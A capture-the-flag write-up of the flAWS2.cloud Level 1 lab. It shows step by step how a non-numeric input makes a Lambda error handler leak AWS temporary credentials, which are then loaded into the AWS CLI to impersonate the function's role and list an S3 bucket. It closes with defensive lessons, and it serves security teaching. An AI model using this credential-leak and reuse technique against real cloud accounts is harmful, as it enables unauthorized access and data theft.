> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# flAWS2.cloud Level 1 Writeup — Lambda Environment Variable Leak & Unauthorized S3 Access
- URL: https://taiwanding.com/en/flaws2-cloud-level-1-writeup-lambda-env-leak-s3/
- Published: 2026-03-05T07:27:45.000Z
- Updated: 2026-08-10T10:22:13.000Z
- Author: Kevin Chen
- Tags: #en, #en-ctf

📚 Series · flAWS2.cloud

1. ▸ Level 1: Lambda Env Leak & S3  (this post)
2. [Level 2: ECR & Docker Image Secrets](https://taiwanding.com/en/flaws2-cloud-level-2-writeup-ecr-docker-image-secrets/)

> **Lab**: [flAWS2.cloud](http://flaws2.cloud/?ref=taiwanding.com) — Attacker Path  
> **Difficulty**: ★☆☆☆☆ (beginner)  
> **Services involved**: API Gateway, AWS Lambda, S3

## 0x00 Challenge Overview

The Level 1 page presents a PIN input box asking you to enter a correct 100-digit PIN code. The challenge explicitly states that brute forcing isn't feasible, so we have to find our way in through the AWS cloud services themselves.

## 0x01 Recon — Source Code Analysis

Let's start by looking at the page source:

```bash
curl -s http://level1.flaws2.cloud/

```

There are two key findings:

**1\. Client-side JavaScript validation**

```javascript
function validateForm() {
    var code = document.forms["myForm"]["code"].value;
    if (!(!isNaN(parseFloat(code)) && isFinite(code))) {
        alert("Code must be a number");
        return false;
    }
}

```

This JS only checks whether the input is a number — we can bypass it entirely by sending the request directly with `curl`.

**2\. The form action points at API Gateway + Lambda**

```html
<form name="myForm" action="https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1" ...>

```

The backend architecture is clear: API Gateway → Lambda function.

## 0x02 Attack — Triggering Lambda Error Disclosure

First, let's send a normal request to confirm the response behaviour:

```bash
curl -s "https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1?code=1234"

```

The response is empty (a 302 redirect to an error page). Next, we bypass the client-side validation and send a non-numeric value:

```bash
curl -s "https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1?code=abc"

```

The Lambda function's error handler dumps out **the entire execution environment's environment variables**:

```
Error, malformed input
{"AWS_LAMBDA_FUNCTION_VERSION":"$LATEST",
 "AWS_ACCESS_KEY_ID":"ASIA...",
 "AWS_SESSION_TOKEN":"IQoJb3JpZ2luX2Vj...",
 "AWS_SECRET_ACCESS_KEY":"E2y8...",
 "AWS_DEFAULT_REGION":"us-east-1",
 "AWS_LAMBDA_FUNCTION_NAME":"level1",
 ...}

```

We now have three critical values:

| Field                    | Description                                                      |
| ------------------------ | ---------------------------------------------------------------- |
| AWS\_ACCESS\_KEY\_ID     | Begins with ASIA, indicating these are STS temporary credentials |
| AWS\_SECRET\_ACCESS\_KEY | Secret Key                                                       |
| AWS\_SESSION\_TOKEN      | Session Token (required alongside temporary credentials)         |

## 0x03 Exploitation — Impersonating the Lambda Identity to Access S3

Configure the leaked credentials as an AWS CLI profile:

```bash
aws configure set aws_access_key_id ASIAZQNB3KHGJCOCXPGM --profile flaws2
aws configure set aws_secret_access_key "E2y81/8EtlVmOw/8WYCV8+e5O5UpYTi1DR15zOsi" --profile flaws2
aws configure set aws_session_token "IQoJb3JpZ2luX2Vj..." --profile flaws2
aws configure set region us-east-1 --profile flaws2

```

Confirm our identity:

```bash
$ aws sts get-caller-identity --profile flaws2
{
    "UserId": "AROAIBATWWYQXZTTALNCE:level1",
    "Account": "653711331788",
    "Arn": "arn:aws:sts::653711331788:assumed-role/level1/level1"
}

```

We are now the execution role of the `level1` Lambda. Let's try to enumerate S3:

```bash
$ aws s3 ls --profile flaws2
# AccessDenied — no ListAllMyBuckets permission

```

But we already know the site's domain name, so we can point at the bucket by name directly:

```bash
$ aws s3 ls s3://level1.flaws2.cloud --profile flaws2
                           PRE img/
2018-11-21 04:55:05      17102 favicon.ico
2018-11-21 10:00:22       1905 hint1.htm
2018-11-21 10:00:22       2226 hint2.htm
2018-11-21 10:00:22       2536 hint3.htm
2018-11-21 10:00:23       2460 hint4.htm
2018-11-21 10:00:17       3000 index.htm
2018-11-21 10:00:17       1899 secret-redacted.html

```

We've found the hidden `redacted.html` — accessing it takes us into Level 2:

```
http://level1.flaws2.cloud/secret-redacted.html

```

## 0x04 Attack Chain Summary

```
Client-side JS Bypass (send a non-numeric value)
        ↓
Lambda Error Handler leaks environment variables
        ↓
Obtain STS temporary credentials (Access Key + Secret + Token)
        ↓
Impersonate the Lambda Execution Role identity
        ↓
Enumerate the S3 bucket contents
        ↓
Discover the hidden secret HTML → level cleared

```

## 0x05 Lessons Learned

### 1\. Lambda Environment Variable Leakage

On EC2 you retrieve IAM role credentials via the metadata service (`169.254.169.254`), whereas Lambda exposes them through environment variables. Developers frequently dump environment variables in an error handler while debugging, which is extremely dangerous in a production environment — because `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, and `AWS_SESSION_TOKEN` all live in those environment variables.

### 2\. IAM Over-Privileging (Least Privilege Violation)

This Lambda's execution role was granted permission to enumerate S3 bucket contents, even though its only function is to validate a PIN code. The right approach is to follow the **principle of least privilege** — granting the Lambda only the minimum permissions it needs to do its job. You can use AWS CloudTrail + CloudTracker, or AWS Access Advisor + RepoKid, to identify over-privileged roles.

### 3\. Don't Rely on Client-side Validation Alone

This challenge's input validation runs entirely on the JavaScript side and can be completely bypassed with `curl`. In a serverless architecture, a request travels from the client through API Gateway to Lambda, and no layer should assume the upstream has already validated the input — **every component should validate input independently**.

### 4\. Security Principles for Error Handling

- **Never return stack traces or environment variables in production**
- Use custom error responses that return only the essential error information
- Log detailed debug information to CloudWatch Logs rather than returning it directly to the user